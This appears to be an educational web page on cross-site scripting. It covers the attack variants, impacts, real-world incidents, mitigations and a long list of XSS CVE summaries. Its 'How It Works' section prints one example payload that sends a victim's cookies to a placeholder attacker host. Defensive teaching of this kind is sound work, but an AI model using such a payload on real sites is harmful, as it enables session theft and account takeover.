Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (40972)
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-site scripting vulnerability in Item List page registration process of Welcart e-Commerce versions 2.7 to 2.8.21 allows a remote unauthenticated attacker to inject an arbitrary script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
In WS_FTP Server version prior to 8.8.2, a stored cross-site scripting (XSS) vulnerability exists in WS_FTP Server's Management module. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
In WS_FTP Server versions prior to 8.7.4 and 8.8.2, a reflected cross-site scripting (XSS) vulnerability exists in WS_FTP Server's Ad Hoc Transfer module. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
In Apollo change requests, comments added by users could contain a javascript URI link that when rendered will result in an XSS that require user interaction. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A reflected cross-site scripting (XSS) vulnerability in the data[redirect_url] parameter of mooSocial v3.1.8 allows attackers to steal user's session cookies and impersonate their account via a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A reflected cross-site scripting (XSS) vulnerability exisits in multiple url of mooSocial v3.1.8 allows attackers to steal user's session cookies and impersonate their account via a crafted URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site scripting (XSS) vulnerability in Froala Froala Editor v.4.1.1 allows remote attackers to execute arbitrary code via the 'Insert link' parameter in the 'Insert Image' component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in Resort Reservation System v.1.0 allows a remote attacker to execute arbitrary code and obtain sensitive information via the room, name, and description. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in the Sign-In page of IceWarp WebClient 10.3.5 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the username. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Pimcore admin-ui-classic-bundle provides a Backend UI for Pimcore. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Teedy v1.11 has a vulnerability in its text editor that allows events to be executed in HTML tags that an attacker could manipulate. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The DoLogin Security WordPress plugin before 3.7 does not properly sanitize IP addresses coming from the X-Forwarded-For header, which can be used by attackers to conduct Stored XSS attacks via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Translate WordPress with GTranslate WordPress plugin before 3.0.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Locatoraid Store Locator WordPress plugin before 3.9.24 does not sanitise and escape the lpr-search parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Ditty WordPress plugin before 3.1.25 does not sanitise and escape some parameters and generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting which. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross-Site Scripting (XSS) vulnerability in cmsmadesimple v.2.2.18 allows a local attacker to execute arbitrary code via a crafted payload injected into the Database Name, DataBase User or Database. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Mediawiki v1.40.0 does not validate namespaces used in XML files. Rated high severity (CVSS 7.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Popup Builder WordPress plugin before 4.2.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Docker Desktop before 4.12.0 is vulnerable to RCE via a crafted extension description or changelog.12.0. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability in Service Provider Management System v.1.0 allows a remote attacker to execute arbitrary code and obtain sensitive information via the firstname, middlename and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The Contact Form by FormGet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'formget' shortcode in versions up to, and including, 5.5.5 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The WP-Matomo Integration (WP-Piwik) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wp-piwik' shortcode in versions up to, and including, 1.0.28 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Media Library Assistant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mla_gallery' shortcode in versions up to, and including, 3.10 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Certain WithSecure products allow XSS via an unvalidated parameter in the endpoint. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A reflected cross-site scripting (XSS) vulnerability in the Search Student function of Student Management System v1.2.3 and before allows attackers to execute arbitrary Javascript in the context of a. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A stored cross-site scripting (XSS) vulnerability in the Add Animal Details function of Zoo Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Zope is an open-source web application server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
plone.namedfile allows users to handle `File` and `Image` fields targeting, but not depending on, Plone Dexterity content. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
There is a stored cross-site scripting (XSS) vulnerability in Webmin 2.002 and below via the Cluster Cron Job tab Input field, which allows attackers to run malicious scripts by injecting a specially. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in Netbox 3.5.1, allows attackers to execute arbitrary code via Name field in device-roles/add function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A reflected cross-site scripting (XSS) vulnerability in msaad1999's PHP-Login-System 2.0.1 allows remote attackers to execute arbitrary JavaScript in the web browser of a user, by including a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A reflected cross-site scripting (XSS) vulnerability in msaad1999's PHP-Login-System 2.0.1 allows remote attackers to execute arbitrary JavaScript in the web browser of a user, by including a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A cross-site scripting (XSS) vulnerability in /hoteldruid/visualizza_contratto.php of Hoteldruid v3.0.5 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A cross-site scripting (XSS) vulnerability in /hoteldruid/clienti.php of Hoteldruid v3.0.5 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A reflected cross-site scripting (XSS) vulnerability in OpenKnowledgeMaps Head Start versions 4, 5, 6, 7 as well as Visual Project Explorer 1.0, allows remote attackers to execute arbitrary. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Jenkins Build Failure Analyzer Plugin 2.4.1 and earlier does not escape Failure Cause names in build logs, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Jenkins 2.423 and earlier, LTS 2.414.1 and earlier does not escape the value of the 'caption' constructor parameter of 'ExpandableDetailsNote', resulting in a stored cross-site scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
In Progress MOVEit Transfer versions released before 2021.1.8 (13.1.8), 2022.0.8 (14.0.8), 2022.1.9 (14.1.9), 2023.0.6 (15.0.6), a reflected cross-site scripting (XSS) vulnerability has been. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Plesk 17.0 through 18.0.31 version, is vulnerable to a Cross-Site Scripting. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) - Reflected in GitHub repository hestiacp/hestiacp prior to 1.8.8. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.
The Widget Responsive for Youtube plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'youtube' shortcode in versions up to, and including, 1.6.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The WordPress Charts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'wp_charts' shortcode in versions up to, and including, 0.7.0 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability in Dolibarr ERP CRM v.17.0.1 and before allows a remote attacker to obtain sensitive information and execute arbitrary code via the REST API module, related to. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.
A reflected cross-site scripting (XSS) vulnerability in the url_str URL parameter of ISL ARP Guard v4.0.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Cross-site scripting (XSS) vulnerability in Nagios XI version 5.11.1 and below allows authenticated attackers with access to the custom logo component to inject arbitrary javascript or HTML via the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Serial Codes Generator and Validator with WooCommerce Support WordPress plugin before 2.4.15 does not sanitise and escape some of its settings, which could allow high privilege users such as. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Leyka WordPress plugin before 3.30.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
In JetBrains TeamCity before 2023.05.4 stored XSS was possible during nodes configuration. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Mastodon is a free, open-source social network server based on ActivityPub. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Reflected and persistent XSS vulnerability in Arconte Áurea, in its 1.5.0.0 version. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability in xdsoft.net Jodit Editor v.4.0.0-beta.86 allows a remote attacker to obtain sensitive information via the rich text editor component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 40972